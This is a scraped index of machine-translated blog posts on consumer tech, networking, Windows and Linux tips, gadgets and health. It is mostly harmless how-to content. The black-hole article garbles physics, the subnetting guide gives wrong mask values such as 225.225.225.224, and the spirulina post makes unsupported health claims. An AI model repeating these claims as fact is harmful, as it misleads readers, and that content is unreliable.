months   Speaker Soundbar JBL Studio Bar (JBL BARSBLKAS)\nHope our article will help you find the best Soundbar JBL speaker .\nsoundbar speakers ncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFko5qcYsCwwc2dmZqqXai9pq3KnqlmoaNir6a%2F02arqGWSqsY%3D\n","link":"/post/which-jbl-soundbar-speaker-is-best-to-buy/","section":"post","tags":null,"title":"Which JBL Soundbar Speaker is best to buy?"},{"body":"In the first part, we learned how a black hole grows, the number of supermassive black holes in the universe . In this next section, we will learn some other interesting mysteries. about cosmic black holes.\n6. Black holes can prevent the formation of stars In the process of formation, young stars will absorb the flow of gas dust in the universe into its center with great velocity. Through the cooling process, this stream of gas dust will be condensed to form a new star.\n  Scientists were surprised to see that in the galaxies of old age no new stars were formed but only old stars existed. As they predicted, a giant black hole could prevent the formation of young stars. The huge gravitational pull of a black hole makes it impossible for the flow of gas to concentrate to form stars.\n7. How big is the mass of the black hole?   According to research published in the Royal Astronomical Society, when a black hole loses its gas disk, it stops growing and reaches a maximum mass of 50 billion times the Sun.\nHowever, when there is no separate gas disk, the black hole can continue to develop in the other direction. They can merge with another black hole to form a larger black hole. Merged black holes can be detected by considering the light being bent when it comes too close to the black hole.\n8. The gravitational nature of black holes   Historically, scientists still believe that timeless gravity is stable and unmistakable. But recently, Canadian scientists have come up with a new, gravity-like, chaotic-like gravity as a whirlpool.\nThis new hypothesis helps explain the formation of spiral disk dust when sucked into a black hole. Besides, it also caused many scientists to wonder if gravity in the center of the black hole. If it is like a whirlpool, any material is swallowed by a black hole if exposed to its side. But if you go straight into the center of the black hole, it may not be affected by gravity. If so, can people send explorers to approach the black hole in the future?\n9. The mysterious disappearance of Pulsar pulses   Pulsar pulses are remnant neutron stars of stars after death. They have very high rotating speeds and emit very strong radiation. Therefore, the Pulsar glows like lighthouses in the universe.\nAccording to scientists, about 50 Pulsars can be observed in the center of the Milky Way but they actually only observed 1 Pulsar. The most likely reason is that these very high-speed rotating Pulsar pulses attract both dark matter particles at the center of the galaxy. Dark matter is invisible and unobservable, so we cannot observe these stars but can only detect through the effects of the gravitational pull of dark matter on other matter.\nThe fact that dark matter is attracted to Pulsas stars increases their mass many times and is enough to form a new black hole.\n10. The universe can be created from a 4-dimensional black hole   We have always believed that the universe was formed from a singularity of enormous mass by the Big Bang.\nAccording to scientists at Perimeter Institute, the universe began from a giant supernova that partially collapsed to form a black hole. Then, it attracts the remaining material to form a singular mass.\nBut a normal black hole cannot draw all its surrounding matter because the event horizon is a 2D plane.\nTherefore, this black hole must have a 3D event horizon (3-dimensional), meaning it must be a 4D black hole. Whereas our current universe is only a 3-dimensional universe, we still don't have any information about this 4th dimension, it is still mysterious that may come at some point to scientists. Learning can explain.\n10 interesting facts about black holes in the universe (Part 1) Discover the terrible war between two giant black holes in the universe ncG1vNJzZmismaXArq3KnmWcp51kfnF5yKernqqVqMGqusZmnZqbpKh6oq7OrqtmmpyWsKx5x6ijnqtdnrtuwMeeZK6mmauys7%2FEZqeaqqRifw%3D%3D\n","link":"/post/10-interesting-facts-about-black-holes-in-the-universe-part-2/","section":"post","tags":null,"title":"10 interesting facts about black holes in the universe (Part 2)"},{"body":"Are you a professional painter? Are you looking for a cheap paint spray gun (paint sprayer) suitable for your work? Top 3 best cheap products that we recommend below will be the perfect suggestions for you.\nCheap paint spray gun of any kind Haupon TM71 multi-purpose spray gun Kachi MK07 portable paint spray gun Total TT1006 paint spray gun Haupon TM71 multi-purpose spray gun Haupon TM71 multi-purpose spraying machine is one of the typical products of Haupon brand, Taiwan. This device uses High Volume Low Pressure technology, uses a turbine to create wind right on the gun body. Flexible spray with 3 designs: horizontal fan spray, circular spray nozzle and vertical fan spray. Haupon TM71 is equipped with two sets of 1.5mm conversion nozzles (used with oil paint, thin film paint, PU coating, varnish, exquisitely sharp paint) and 2.5mm head (for water based paints, paints) wall, wide area paint). Price: 940,000 VND.\nTechnical specifications\nCapacity: 320W - 450W Capacity: 750ml Flow injection: 1.5 - 1.9 m 3 / minute Voltage source: 110V - 240V / 50Hz - 60Hz   Haupon TM71 multi-purpose paint sprayer\nKachi MK07 portable paint spray gun Owning a compact size, Kachi MK07 portable paint sprayer (Kachi brand, Japan) quickly conquers users, especially professional people. The product is suitable for water-based and oil-based paints with high efficiency thanks to High Volume Low Pressure technology. Kachi MK07 can create spray with 3 shapes: horizontal fan spray, vertical fan spray and circular spray. Two 1.8mm and 2.6mm conversion nozzles allow you to use it flexibly with different paints. Price: 929,000 VND.\nTechnical specifications\nCapacity: 700ml Weight: 1.2 kg Capacity: 350W   Kachi MK07 portable paint sprayer\nTotal TT1006 paint spray gun Total TT1006 is a mini paint spray gun manufactured by Total, Germany. The product is made from high quality plastic with spray head of 0.6mm - 0.8mm diameter. Total TT1006 has the ability to create smooth, beautiful and evenly colored paint lines than traditional paint. With a compact, high-performance design, Total TT1006 will help you complete your spraying work on many objects such as walls, iron, tables and chairs, cabinet beds, . Price: 450,000 VND.\nTechnical specifications\nCapacity: 800ml Flow rate: 280ml / min Weight: 1.4kg Capacity: 100W Voltage source: 220V - 240V / 50Hz - 60Hz   Total TT1006 paint sprayer\nWe believe that with outstanding advantages, these 3 cheap paint spray guns will help a lot for your work. Visit META.vn for advice and choose to buy quality products.\n\u0026gt;\u0026gt;\u0026gt; More references:\nEvaluate Haupon TM71 multi-purpose sprayer Why should we use an electronic hydrometer to measure tilt? ncG1vNJzZmismaXArq3KnmWcp51kgG6uxKyrZpuYmq6xec%2BaoKesXai9s63YZp6upqNiwbCwwLI%3D\n","link":"/post/3-best-cheap-paint-spray-guns-today/","section":"post","tags":null,"title":"3 Best cheap paint spray guns today"},{"body":"Finally, after more than a year of waiting, Facebook also decided to change the look of the Messeger desktop version with a more minimalist design. Earlier, Facebook brought Messenger's new design to both Android and iOS mobile platforms from last year.\nCurrently, only some users receive this new update of the Messenger web-app. According to their comments, the new Facebook Messenger interface of the computer platform for the experience is quite similar to the version for smart mobile devices. The major change on Messenger is that the computer platform is a more minimalist design, focusing on basic features such as listening to calls, messaging and adding some useful new features to users.\nThe new interface of Messenger PC version promises to give users a better experience.\nAt the beginning of May 5/2019, at the F8 event for programmers, Facebook CEO Mark Zuckerburg announced a completely new interface of this social network, including Messenger. Facebook CEO adds, this new interface is 'simpler, faster and puts your community at the center'. In addition, Facebook also announced that it will launch a separate Facebook Messenger application for computers and MacBooks later this year.\nThe new Messenger app is coming soon with 1/4 of the old version, smoother and less expensive Invite to admire the new interface of Facebook, Dark Mode, focus on the group, has appeared on mobile applications ncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdqr2lrdOem2asmJp6r7HWZqCnrJWns6KvxGadqKpdorK0v8Snnp6qXZi8rrzUrZyrZaaav7S1zqdkpqGenrqiuMisq2aclai2qLqMqayrnV2starAxGaZmpubnL%2Bwwc2d\n","link":"/post/facebook-updated-the-new-interface-for-messenger-computer-version-minimalist-design-pure-white-background/","section":"post","tags":null,"title":"Facebook updated the new interface for Messenger computer version, minimalist design, pure white background"},{"body":" If you are going to set up a network, then you have to know how to distribute the devices on that network. Knowing how to calculate network and broadcast addresses if you have the IP address and subnet mask is essential to setting up a...\nMethod 1of 3:\nUsing Classful Network  Determine the total number of bits used for subnetting. For a classful network total bits is 8. So Total bits = Tb = 8. The total bits used for subnetting (n) is determined by the subnet mask. Subnet masks can be 0, 128, 192, 224, 240, 248, 252, 254 and 255. The number of bits used for subnetting (n) to their corresponding subnet mask is as follows: 0=0, 128=1, 192=2, 224=3, 240=4, 248=5, 252=6, 254=7, and 255=8. Subnet mask 255 is default, so it'll not be considered for subnet masking. For example: Let's assume the IP address is 210.1.1.100 and Subnet mask is 255.255.255.224. The total bits= Tb = 8. The number of bits used for subnetting for subnet mask 224 is 3.   Determine the number of bits left to host. The equation to determine the number of bits left to host is (m) = Tb - n. From the previous step, you got the number of bits used for subnetting (n) and you know the total bits used \"Tb=8\". then you can get the number of bits left for host by subtracting 8-n. Using the example above, n=3. The number of bits left for host is (m) = 8 - 3 = 5. 5 is the number of bits you have left to host.   Calculate the number of subnets. The number of subnets is 2n. The number of hosts per subnet = 2m - 2. In our example, the number of subnets is 2n = 23 = 8. 8 is the total number of subnets.   Calculate the value of the last bit used for subnet masking. The value of last bit used for subnet masking is (Δ) = 2m. In our example, the value of last bit used for subnet masking is Δ = 25 = 32. The value of the last bit used is 32.  Calculate the number of hosts per subnet. The number of hosts per subnet is represented by the formula 2m - 2.\n  Separate the subnets by the value of last bit used for subnet masking. Now you can find previously calculated number of subnets by separating subnets each having value of last bit used for subnet masking or Δ. In our example, Δ=32. So we can separate IP addresses in increments of 32. The 8 subnets (as calculated in previous step) are shown above. Each of them has 32 addresses.   Determine the network and broadcast addresses for the IP addresses. The lowest address in a subnet is the network address. The highest address in a subnet is the broadcast address.\n  Determine the broadcast address for your IP address. The lowest address of the subnet your IP address falls in is the network address. The highest address in the subnet your IP address falls in is the broadcast address. Our example IP address 210.1.1.100 falls in the 210.1.1.96 - 210.1.1.127 subnet (see the previous step table). So 210.1.1.96 is network address and 210.1.1.127 is broadcast address.  Method 2of 3:\nUsing CIDR  Write the bit-length prefix in bit format. In CIDR, you have a IP address followed by bit-length prefix separated by slash(/). Now you can start to convert bit-length prefix to quad-dotted by separating the bit-length prefix in increments of 8 and adding the final bit number. Example: If the bit-length prefix is 27, then write it as 8 + 8 + 8 + 3 . Example: If bit-length prefix is 12, then write it as 8 + 4 + 0 + 0 . Example: Default bit-length prefix is 32, then write it as 8 + 8 + 8 + 8.   Convert the bit-length prefix to quad-dotted format. Convert the corresponding bit according to the above table and represent in quad-dotted decimal format. For example, bit-length 27 is represented by 8+8+8+3. This converts to 225.225.225.224. Using another example, the IP address is 170.1.0.0/26 . Using above table, you can write the bit-length prefix 26 as 8+8+8+2. Using the chart above, this converts to 225.225.225.192. Now the IP address is 170.1.0.0 and subnet mask in quad-dotted decimal format is 255.255.255.192 .  Determine the total number of bits. The total number of bits is represented using the following equation: Tb = 8.\n  Determine the number of bits used for subnetting. Subnet masks can be 0, 128, 192, 224, 240, 248, 252, 254 and 255. The table above gives you the Number of bits used for subnetting (n) to their corresponding subnet mask. For subnet mask 255 is default, so it'll not consider for subnet masking. From the previous step, you got IP address = 170.1.0.0 and Sub-net mask = 255.255.255.192 Total bits = Tb = 8 Number of bits used for subnetting = n. As the subnet mask = 192, its corresponding number of bits used for Subnetting is 2 from above table.   Calculate the number of bits left to host. From the previous step, you got the number of bits used for subnetting (n) and you know the total bits (Tb) = 8. Then you can get number of bits left for host is (m) = Tb - n or Tb = m+n. In our example, the number of bits used for subnetting (n) is 2. So the number of bits left for host is m = 8 - 2 = 6. The total bits left for the host is 6.  Calculate the number of subnets. The Number of subnets is 2n. In our example, the number of subnets = 22 = 4. The total number of subnets is 4.   Calculate the value of last bit used for subnet masking. This is represented with the formula (Δ) = 2m. In our example, the value of last bit used for subnet masking = Δ = 26 = 64. The value of the last bit used for subnet masking is 64.   Calculate the number of hosts per subnet. The number of hosts per subnet is 2m - 2.\n  Separate the subnets by the value of the last bit used for subnet masking. Now you can find previously calculated number of subnets by separating subnets each having the value of last bit used for subnet masking or Δ. In our example, the last value used for subnet masking is 64. This produces 4 subnets with 64 addresses.   Find which subnet your IP address is in. Our example IP is 170.1.0.0. This falls in the 170.1.0.0 - 170.1.0.63 subnet.\n  Determine your broadcast address. The first address in a subnet is the network address and the last number is the broadcast address. Our example IP address is 170.1.0.0. So 170.1.0.0 is network address and 170.1.0.63 is broadcast address.  Method 3of 3:\nUsing A Network Calculator Find your IP address and subnet address. On PC, you can Find your IP address by typing \"ipconfig\" into the command prompt. Your IP address is next to IPv4 address, and you can find the subnet address right below it in the command prompt. On Mac, you can find your IP address and subnet address in the Network app in System Preferences.\n Go to http://jodies.de/ipcalc in a web browser. You can use any web browser on PC or Mac.\n Enter the IP address in the field that says Address (Host or network). The website will try to detect your IP address automatically. Double-check it to make sure it is detecting the correct address. If it is not correct, enter the correct address.\n Enter the subnet mask in \"Netmask\" field. Again, the website will try to automatically detect your subnet address. Double-check to make sure that it is correct. You can enter the field in CDIR format (I.E /24) or dotted-decimal format (i.E 255.255.255.0).\n Click Calculate. It is the button below the IP address field. Your network address will be listed next to \"Network\" in the results below the text fields. Your broadcast address will be listed next to \"Broadcast\" in the results below your text fields.\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRobC2uMCtnGamlanEsL7KZpinnF2Xv7Ctw5yYrKxdlrGlvsSsqg%3D%3D\n","link":"/post/how-to-calculate-network-and-broadcast-address/","section":"post","tags":null,"title":"How to Calculate Network and Broadcast Address"},{"body":"As you know, a standard network cable has 8 fibers with pairs of orange, white, blue, white and brown white. But you may not know other than the 8-wire type, there is also a 4-wire network. The four-wire network has only three colors: white, orange and blue, but it can still connect to the network if you press the standard network cable . To press the 4-wire network cable for the computer you still use the RJ45 connector, if you click on the phone you will have to use the RJ11 end, also known as the RJ11 network.\n3 steps of fast, standard network wiring Is there any difference in the 4-wire wiring?\nOf course, it is different, different from half the string. Is network connection stable?\nYes, still connected to the network normally, but limited. And in what circumstances is it used?\nOften used in small scale such as home network, personal network. Click the 4-wire network cable also used in the connection of the landline phone. For corporate networks, multiple switches, modems, routers you should not use this 4-wire wiring, because if the network is gigabit (1000Mbps), then there should be 8 new fibers to connect at the right speed. Thus, 4-wire network wiring should only be used for slow-speed networks (100Mbps) and should only be a temporary solution if an 8-fiber cable cannot be found immediately. To wire the 4-wire network you need to prepare the following tools:\n4-wire cable or phone cord, normal network cable okay, something I only use 4 thread Click RJ45 connector Test device   To click on 4-wire network, you still have to keep in mind that the 2 standard wiring standards are A and B, but do not line up completely like these 2 standards, just remember the order of location. You will have to put the network wires in positions 1, 2, 3 and 6.\n  Specific 4-wire wiring steps:\nRemove the outer wire cover, taking care not to trim the core wire Arrange the network in order 1, 2, 3, 6, here I use standard B so the string order will be white orange, orange, white green, green. Use pliers to cut the ends of the wire equally Put the network head in, put the wire in position 1, 2, 3, 6   Use pliers   The other end does the same Then put it into the test device to check if the network wire click was successful. If the light is on, congratulations, you clicked very well.   The use of telephone wires to make network cables is quite common for home networks or in net shops because telephone wires have power cables, can be pulled far away without causing loss. If you want to pull a network for neighbors or people who love you about 100 meters away from home, instead of using a regular network cable, think about using a phone cord as a network cable. How to press the network cable with the phone cord is the same as above, nothing different.\nWish you all success.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucnrCsedOhnGZsp56%2FpnnNnquwp6KgeqStwaWcZqiimsC0edOhnGamlanEsL7KZpqampyaeri106FkraCVYr2pu82eZJynopk%3D\n","link":"/post/how-to-click-the-4-wire-network-cable-press-the-network-cable-with-the-phone-cord/","section":"post","tags":null,"title":"How to click the 4-wire network cable, press the network cable with the phone cord"},{"body":"Among Us is really fun playing with your friends, or at least you have to play with a room that speaks your language. If not, the justification with the remaining characters in the room is difficult because Among Us is a game that requires all players to communicate and interact with each other.\nSo, you need to tell everyone what you have met and what you are doing when the whole room is meeting and preparing to \"kick\" someone off the map. For rooms in a foreign country, you need to be able to communicate in English. Or create your own room and play with your friends. Here is how to create a private room Among Us to play with friends, you can also do the same with version Among Us PC.\nHow to create a private room to play with friends Among Us Step 1: In the main interface, click Online\u0026gt; choose Create Game.\n  Step 2: Select the number of players, the number of Impostors, select the map and click Confirm to start creating a room.\n  When entering a room, if it is a private room below, and if the player does not have the other VJDPWQ code to enter, they will not be able to enter your room.\n  Please share that code with your friends and have them enter the Private section below. Then click on the arrow icon right next to enter the game.\n  If you don't want it to be a private room, click the Private button to make it Public. In this form anyone can access your room.\n  So that you can create your own room to play with your friends in Among Us already. If you do not invite enough of your friends, you can turn on Public room mode to invite more players when you have enough friends.\ncreating a room among us ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmqmauutbGMq6aopV2strW0jJ%2Bpop2emcBurcyopaBlpag%3D\n","link":"/post/how-to-create-a-private-room-with-friends-among-us/","section":"post","tags":null,"title":"How to create a private room with friends Among Us"},{"body":"Spirulina has been evaluated by the world's leading organizations such as WHO, FDA as the best health protection food in the 21st century. In addition to its therapeutic use, spirulina also helps to beautify the skin, balance the physique. Today's article will share with you how to drink spirulina to lose weight .\ncontent Why drink spirulina help reduce weight effectively? About spirulina Japanese spirulina helps to lose weight?  Instructions on how to drink spirulina to lose weight Why drink spirulina help reduce weight effectively? About spirulina Spirulina has the scientific name Spirulina Platensis, green, twisted fiber, discovered by scientists for the first time in the 1960s in Central Africa. Spirulina contains a lot of precious nutrients that are needed for our bodies such as:\nProtein (50 - 70%) Minerals: Iron, phosphorus, potassium, manganese, calcium, magnesium, selenium, . Vitamins: A, B, E, K Amino acids: Lysine, threonin Unsaturated fatty acids Carbohydrate (16.5%) With a rich nutritional content, spirulina gives us many benefits such as: Preventing anemia, slowing down the aging process, preventing and treating bone diseases, reducing the risk of cancer, anti-malnutrition, skin beauty, liver, kidney protection, support for treatment of diabetes, gastritis, visual impairment, increase resistance, nutritional supplement, physique balance, .\n  Spirulina Spirulina\nJapanese spirulina helps to lose weight? You may wonder why a nutrient-rich product like spirulina helps with weight loss. In fact, spirulina contains a special fiber that is capable of limiting fat absorption while breaking unhealthy fat links 60 times better than fiber in regular vegetables. . Drinking spirulina will make you feel full longer, thereby reducing your appetite effectively. Therefore, weight loss by spirulina is safer than conventional methods such as dieting or taking slimming pills.\n  Drinking spirulina drink weight loss safe and effective\nInstructions on how to drink spirulina to lose weight Want to drink seaweed to lose weight? If so, follow our following instructions. Remember, spirulina helps to lose weight or gain weight depending very much on the use.\nDosage:\nEach time taking 5 - 10 tablets, taking 1-2 times a day\nUsed Time \n 30 minutes before meals\nNote\nIn the process of using spirulina, drink plenty of water In addition to using spirulina, you should also build a healthy, low-fat, high-fiber diet and work hard to increase weight loss. Persevering, not impatient Save how to drink spirulina to lose weight that we shared and applied today. Visit META.vn for advice and order quality Japanese algae .\n\u0026gt;\u0026gt;\u0026gt; More references:\nThe effect of algae varies with health and beauty How to drink Japanese algae to gain weight ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyinrusedKpoKutnJ67onnTqGSlp6OaerixyKCfrQ%3D%3D\n","link":"/post/how-to-drink-spirulina-to-lose-weight/","section":"post","tags":null,"title":"How to drink spirulina to lose weight"},{"body":"After updating to Windows 10 Creators Update update, many people found that RAM usage increased to 80% after at least 30 minutes of use. This is a memory leak error in Windows 10. This article will discuss all possible causes of memory leaks and how to fix them.\nHow to fix Windows 10 Fall Creators Update updates What is Memory Leak ( memory leak ) ? Basically, memory leaks are part of the RAM that a program marks as \"in use\" but does not actually use it. This happens when a program does not notify RAM Manager that has stopped using a RAM segment and it is empty for reuse. Therefore, Windows will not use that RAM even though it is empty.\nThis problem leads to higher RAM usage although no program actually uses RAM. Such problems can occur with any program including Windows services, root applications, background processes, hardware drivers and third-party applications.\nTip: Quickly fix memory leaks is to restart the computer. Because RAM is an unstable memory, it will be reset immediately upon restarting the computer. However, this will not help for a long time because bad programs will probably leak memory again.\n8 easy ways to free RAM make the machine run faster Identify memory leaks Windows Task Manager shows all running processes along with its resource usage. For most programs, Task Manager will be able to find the error process.\nPress Ctrl + Shift + Esc to open Task Manager and go to the Processes tab. Here the user will see all active processes with CPU and memory usage details. Click the Memory tab to sort the processes in descending order, the highest memory usage process will be at the top.\n  Find a process that uses more RAM than usual, usually above 50% of the total RAM. However, please note that heavy programs like Photoshop or Chrome browser, Firefox (with many open sites) can \"consume\" a lot of RAM.\nWhen the process of using a lot of RAM is found, users can do one of the following:\nIf it is a third-party application, reinstall or reset it (if possible). If it is not a third-party application, then right-click and select ' Search online ' to find a way to fix it.   Fix error driver After upgrading to Windows 10 Creators Update, the required drivers may not work properly on the computer. Therefore, users need to update old drivers.\nUpdate the driver manually Press Windows + R and type devmgmt.ms in the Run dialog box to open Device Manager . Here expand all content and search for drivers with yellow triangle icon next to it. This icon shows the old or defective driver. Right click on it and select Update driver software .\n  A wizard will open, here click Search automatically for updated driver software to update the driver.\n  Update the driver automatically Users should use a third-party driver update tool because it can find old drivers that even Windows can ignore such as IObit Driver Booster software. This tool supports more than 400,000 types of drivers, especially for Windows 10.\n  Just install the application and launch it. This program will automatically search and list all old and defective drivers. After that, you can press the ' Update all ' button to update them.\nHow to automatically update drivers on Windows using SnailDriver Clean Boot (Clean Boot) Windows 10 Clean startup will be the process of disabling all third-party startup applications and background services to solve the problem. To know how to perform a clean boot on Windows, read the article How to perform Clean Boot on Windows 10/8/7.\nRemove malware A virus or malware can also increase the use of RAM. Malware created to damage the system often prevents the use of RAM. The solution is very simple, using antivirus software. Users can use Avast Free Antivirus software because it is light and strong.\n  Install Avast and perform a full system scan, it will find and delete all types of malware. In case of failure, you can also create an Avast Rescue Disk and run the scan while Windows is not working.\nRemove adware (Adware) Similar to malware, adware can also use RAM in the background. Adware displays ads when using programs, downloading and setting up these ads, which will use network and system resources, including RAM. The usual malware removal tools like Avast are not the best choice, users need a specialized adware removal program.\nCompletely remove Adware and Spyware on your system Adwcleaner is one of the best adware remover, will clean the computer with all adware and even unwanted programs using some RAM. Just scan your computer with Adwcleaner and it will find and delete all programs that are not required.\nMemory leaks in Windows 10 are often caused by faulty drivers, especially network drivers. Users should ensure all drivers are updated and that no third-party applications are 'eating' RAM.\nI wish you all success!\nSee also: 2 ways to check RAM and check RAM errors on the computer with the highest accuracy rate\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq4tc2dprCrXWZ9brnEpqarsV2hsqK3\n","link":"/post/how-to-fix-windows-10-memory-leak/","section":"post","tags":null,"title":"How to fix Windows 10 memory leak"},{"body":"If you have added Linux to the data center or are just using a single Linux machine for your business, you need to make sure it is as secure as possible. Of course, everyone thinks that Linux is one of the safest platforms on the planet. Although this may be true, you can still do many things to further improve the security of the Linux computer you are using.\nOne trick is to restrict access to su command. By using the su command, the user can change from one user account to another (if there is a password of that user account). Suppose you have some users in the admin group that have full access to certain folders (may contain sensitive data) and you do not want users who are not in the group to switch to user accounts. Other (using the su command), and then get access to that sensitive information.\nThis trick can be done on any Linux distribution. For example today will use Ubuntu Server. The article will create a new group, add users to that group and then restrict access to the su command for this group.\nBut how to limit access to su command? This is actually quite easy. Let's find out later!\nCreate a group First, we will create a new group on the server (or desktop). To do this, open a terminal window and enter the command:\nsudo groupadd admin  You now have a new group added to the system. If you find that the admin group already exists, you may have to create a group with a different name.\nAdd users to the new group Suppose we have a user of Jack and want to add him to the new group, so that Jack has access to the su command. Please enter the following command:\nsudo usermod -a -G admin jack  When running this command, user Jack will be a member of the admin group.\nRestrict access to su commands Now, we need to allow the admin team to access the su command. Do this with a single command. Go back to the terminal window and enter the following command:\nsudo dpkg-statoverride --update --add root admin 4750 /bin/su  From the terminal window, log into Jack user account. If you try to use the su command as that user, the request will be allowed. Because Jack is a member of the admin group, has access to su command. However, if you log in as another user and try using the su command, the request will be rejected. Because only people in the admin group have access to su.\n  And that's all there is to do to restrict access to su command in Linux. Although this is not the only step you need to take to enhance the security of your Linux system, it will certainly prevent users from accessing the tool that can elevate their rights to unnecessary levels.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSZora1ecCcmp6ro2LBsHnSrmScp52irq%2BwjKKlZqSZo8K5\n","link":"/post/how-to-limit-access-to-su-command-in-linux/","section":"post","tags":null,"title":"How to limit access to su command in Linux"},{"body":"iOS 13 has been released, along with a series of new features for users. The most noticeable is still the dark mode feature on the iPhone that many people have long expected. And there is also a feature that many iPhone users are also looking for which is Vietnamese dictionary on iPhone.\nThis feature will allow users to fully understand the words you want to learn. To activate Vietnamese dictionary on iPhone, please follow the instructions below.\nHow to quickly translate Vietnamese English on iPhone How to translate documents in Firefox with Simple Translate How to look up the dictionary right on the iPhone, iPad running iOS 11 Instructions for activating and using Vietnamese Anh - Anh Viet dictionary on iPhone To activate the dictionary on iOS 13, the first thing you need to do is activate it. You can do this by going to Settings \u0026gt; selecting General Settings \u0026gt; selecting Dictionary \u0026gt; Tick selected Vietnamese - English .\nAfter that, the machine will proceed to download dictionary data, this process may take a few minutes.\n  Once you have successfully activated the Vietnamese dictionary on your iPhone, go out and find any words you want to translate. Blacken them and click \" Lookup \", this iOS dictionary supports both English - Vietnamese and Vietnamese - English translation.\n  All information related to your words will be displayed, pronunciation, word classification such as adjectives, verbs, nouns.\n  Expanded, you will see the example sentences related to that word, which will be more convenient for many people when they no longer have to copy and paste the word into the dictionary software in the same way as before .\n  Although the dictionary is good for iPhone users, it doesn't mean that dictionary apps on the App Store will become sluggish. The reason is because the iOS integrated door dictionary still has some limitations of its own.\nThe biggest drawback is that the dictionary currently supports only translating existing text, such as on-screen websites or documents that users can select. And users still can not arbitrarily type the words to look up as separate dictionary applications.\nAnother point that controls Vietnamese-English dictionary on iPhone is limited, it is iOS's integrated dictionary only supports English only and there are still many other popular languages ​​such as Korean, Chinese, and languages. French, German.\n  Above is the guide to turn on Vietnamese-English, English-Vietnamese dictionary on iPhone. With this dictionary you can use to translate and find out the words that appear on the phone.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mraKdpKOurrHSnmSdoZOptrC6wKuwZqeeYraxtM6nnA%3D%3D\n","link":"/post/how-to-turn-on-vietnamese-dictionary-on-iphone/","section":"post","tags":null,"title":"How to turn on Vietnamese dictionary on iPhone"},{"body":"Windows 10 provides users with many ways to customize the operating system. Today, TipsMake.com will share and guide you how to use GIF as a beautiful wallpaper for Windows 10 computer with BioniX software without fear of taking up too much resources on your computer such as RAM or CPU.\nIf you want to use animated wallpapers on Windows 10, you'll need a separate support software, and BioniX desktop wallpaper change is the name you need to remember. Instead of normal photos that are still \"good\" to your desktop screen, you can install animated images (GIFs) or even set videos as your Windows wallpapers to \"change the wind\" little. This change will make your computer unique and interesting, stylish as well as your own personality.\nHow to create animations with Instagiffer on computer Movement turns static image into animation, have you tried it? Screen capture tools for GIF screens for Windows 10 Instructions for setting animated wallpaper on Windows 10 Desktop Step 1: Download BioniX desktop wallpaper change to Windows 10 computer by clicking on the link below. The installation steps are generally quite simple, although you are not a technology expert who can install it.\nDownload: BioniX desktop wallpaper changer.   \nStep 2: After downloading and installing the software successfully to the computer. You continue to download animated images in .GIF format on Google. This is a huge search for 'poisonous - beautiful - strange' images for you. In addition, you can also create a funny Gif image according to your wishes by viewing the tutorial How to create a Gif image quickly with Giphy that TipsMake.com previously shared.\nStep 3: Open the software and click on Wallpaper source item as shown in the picture.\n  Step 4: At the new interface appears, select Playlist and select the GIF image you want to set as the desktop wallpaper.\nNote: In case it does not appear, save the GIF image to the directory at the following path: C: Users [NAME_USER] OneDrivePictures.\n  Step 5: Right click on the GIF file that you want to set the wallpaper, then select Apply / Refresh Wallpaper .\nSo is finished, now turn to the screen to enjoy the fruits and watch the beautiful images sparkling on the laptop screen now.\nWish you have an interesting experience.\nSee more:\nInstructions to set a warning to limit capacity in the drive, avoid slowing down Windows How to \"greet\" your computer when logging in on Windows 7 / 8.1 / 10 Funny, cute, lovely wallpapers for computer screens ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqotcVmoKaZl5rAbq3SZpmemaWptqfBy2aumqScpa6xsdGsZJ%2BnomLEqrrDqK6sZWFleqS7zKmsrZ2iqA%3D%3D\n","link":"/post/how-to-use-gif-images-as-beautiful-wallpapers-for-windows-10-computers/","section":"post","tags":null,"title":"How to use GIF images as beautiful wallpapers for Windows 10 computers"},{"body":"There are many software that can take pictures of web pages on web browsers, but using the software will be quite troublesome for many people who do not know how to install the software. There are utilities on Chorme and Firefox that you can take pictures of the whole site or a part of the web.\nCapture the entire web on Chrome browser Webpage Screenshot helps you capture web pages on Chrome quickly and simply, whether long or short web pages can also be saved as image files.\nYou can add the Webpage Screenshot app to Chrome by going to the Chrome web store https://chrome.google.com/webstore to find the Website Capture app - Webpage Screenshot and you add this app to Chrome .\n  - After adding, the camera icon will appear:\n  - To take a picture of the website, you select the scene icon of Webpage Screenshot with many options for you, you can choose according to your wishes.\n  Capture the entire web page in Firefox To capture the entire web page in Firefox you can use the Add-on FireShot (FS). FS is able to take a picture of an entire web page, edit it and save it (PDF, Jpeg, GIF, PNG or BMP), print, copy to clipboard .\nStep 1: Install the FireShot Add-on.\n- You select the Open Menu icon and choose Utilities .\n  - Firefox browser will open about: addons tab you choose Get more add-ons in the menu on the left. Then type in the search box from FireShot and press the Search icon or Enter .\n  - You choose Webpage Screenshot in Firefox and choose Install to install the add-on.\n  You wait for installation, when the installation is completed you will receive a notification, restart Firefox to update the add-on.\n  Step 2: Use FireShot to take a picture of the Firefox website.\nAfter installing FireShot, there will be an S in the browser interface.\n  You can select the arrow next to the icon and select Preferences to adjust the photography, if you use Firefox in Vietnamese, you can easily install, change the settings to suit the purpose. mine.\n  After changing you select OK .\nTo take a picture, click the FireShot icon on the toolbar of Firefox.\nWith the website capture utility that Firefox and Chrome brings, you can freely take photos of the websites you want.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabkaXBtr7Ip55mnZ6ptrOxjLCcm2WglrSmv4yopWabmKe8rrGMmqWdZZaev6ayzrE%3D\n","link":"/post/instructions-for-capturing-entire-web-pages-on-chrome-and-firefox/","section":"post","tags":null,"title":"Instructions for capturing entire web pages on Chrome and Firefox"},{"body":" Network Administration - Have you ever heard of Microsoft work on Internet Explorer 9 and like to learn about it? In this article we will show you the recent release of Internet Explorer which is the Internet Explorer 9 Platform Preview .\nNote : Windows Vista and Server 2008 users need to install the Platform Update (see the link given below for more information).\nBegin\nIf you want to learn about systems that the platform preview can work on, here is an excerpt from the FAQ page (link given below). There are two important points to note here: 